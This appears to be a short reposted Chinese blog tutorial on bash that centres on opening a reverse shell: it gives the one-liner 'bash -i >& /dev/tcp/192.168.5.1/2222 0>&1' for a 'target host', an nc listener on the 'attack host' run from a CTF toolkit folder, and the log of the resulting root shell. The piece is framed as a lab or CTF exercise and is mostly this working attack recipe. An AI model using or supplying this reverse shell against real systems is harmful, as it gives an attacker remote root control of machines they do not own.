本文共 767 字,大约阅读时间需要 2 分钟。
bash是一个命令解释语言,能够执行读取标准输入或文件的命令,可以执行命令以及结合nc进行反弹shell!
基本使用语法
1 | bash -c 命令 |
1 2 3 | root@kali:~ # bash -c whoami root root@kali:~ # |
另外使用-i表示以交互方式运行shell,通常在目标主机上运行
1 | bash -i >& /dev/tcp/192 .168.5.1 /2222 0>&1 |
然后另一台主机使用nc进行监听该端口,即可获取到一个shell!
目标主机:
1 | root@kali:~ # bash -i >& /dev/tcp/192.168.5.1/2222 0>&1 |
攻击主机:
1 2 3 4 5 6 7 8 9 10 11 | F:\\eth10-CTF-Toolkits\\CTF工具包\\连接工具>nc -lvp 2222 lstn on [any] 2222 .. 192.168.5.128: reverse hst chk phailed: h_errno 11004: NO_DATA connect to [192.168.5.1] from (UNKNOWN) [192.168.5.128] 53418: NO_DATA root@kali:~ # uname -a uname -a Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux root@kali:~ # whoami whoami root root@kali:~ #exit |
转载地址:http://atlul.baihongyu.com/